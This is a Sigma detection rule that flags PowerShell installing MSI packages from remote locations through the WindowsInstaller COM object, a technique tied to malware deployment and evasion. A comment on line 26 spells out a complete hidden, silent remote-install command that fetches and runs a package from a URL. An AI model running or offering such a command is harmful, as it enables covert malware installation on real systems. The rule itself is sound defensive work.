PowerShell MSI Install via WindowsInstaller COM From Remote Location

 1title: PowerShell MSI Install via WindowsInstaller COM From Remote Location
 2id: 222720a7-047f-4054-baa5-bab9be757db0
 3status: experimental
 4description: |
 5    Detects the execution of PowerShell commands that attempt to install MSI packages via the
 6    Windows Installer COM object (`WindowsInstaller.Installer`) hosted remotely.
 7    This could be indication of malicious software deployment or lateral movement attempts using Windows Installer functionality.
 8    And the usage of WindowsInstaller COM object rather than msiexec could be an attempt to bypass the detection.    
 9references:
10    - https://informationsecuritybuzz.com/the-real-danger-behind-a-simple-windows-shortcut/
11    - https://redcanary.com/blog/threat-intelligence/intelligence-insights-may-2025/
12    - https://www.virustotal.com/gui/file/f9710b0ba4de5fa0e7ec27da462d4d2fc6838eba83a19f23f6617a466bbad457
13author: Meroujan Antonyan (vx3r)
14date: 2025-06-05
15tags:
16    - attack.execution
17    - attack.t1059.001
18    - attack.defense-evasion
19    - attack.t1218
20    - attack.command-and-control
21    - attack.t1105
22logsource:
23    category: process_creation
24    product: windows
25detection:
26    # Example: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -W Hidden -C "$u='https://example.com/';$i=New-Object -ComObject('WindowsInstaller.Installer');$i.UILevel=2;$i.InstallProduct($u),'')";
27    selection_img:
28        - Image|endswith:
29              - '\powershell_ise.exe'
30              - '\powershell.exe'
31              - '\pwsh.exe'
32        - OriginalFileName:
33              - 'PowerShell_ISE.EXE'
34              - 'PowerShell.EXE'
35              - 'pwsh.dll'
36    selection_cli:
37        CommandLine|contains|all:
38            - '-ComObject'
39            - 'InstallProduct('
40    selection_remote:
41        CommandLine|contains:
42            - 'http'
43            - '\\\\'
44    filter_main_localhost:
45        CommandLine|contains:
46            - '://127.0.0.1'
47            - '://localhost'
48    condition: all of selection_* and not 1 of filter_main_*
49falsepositives:
50    - Unknown
51level: medium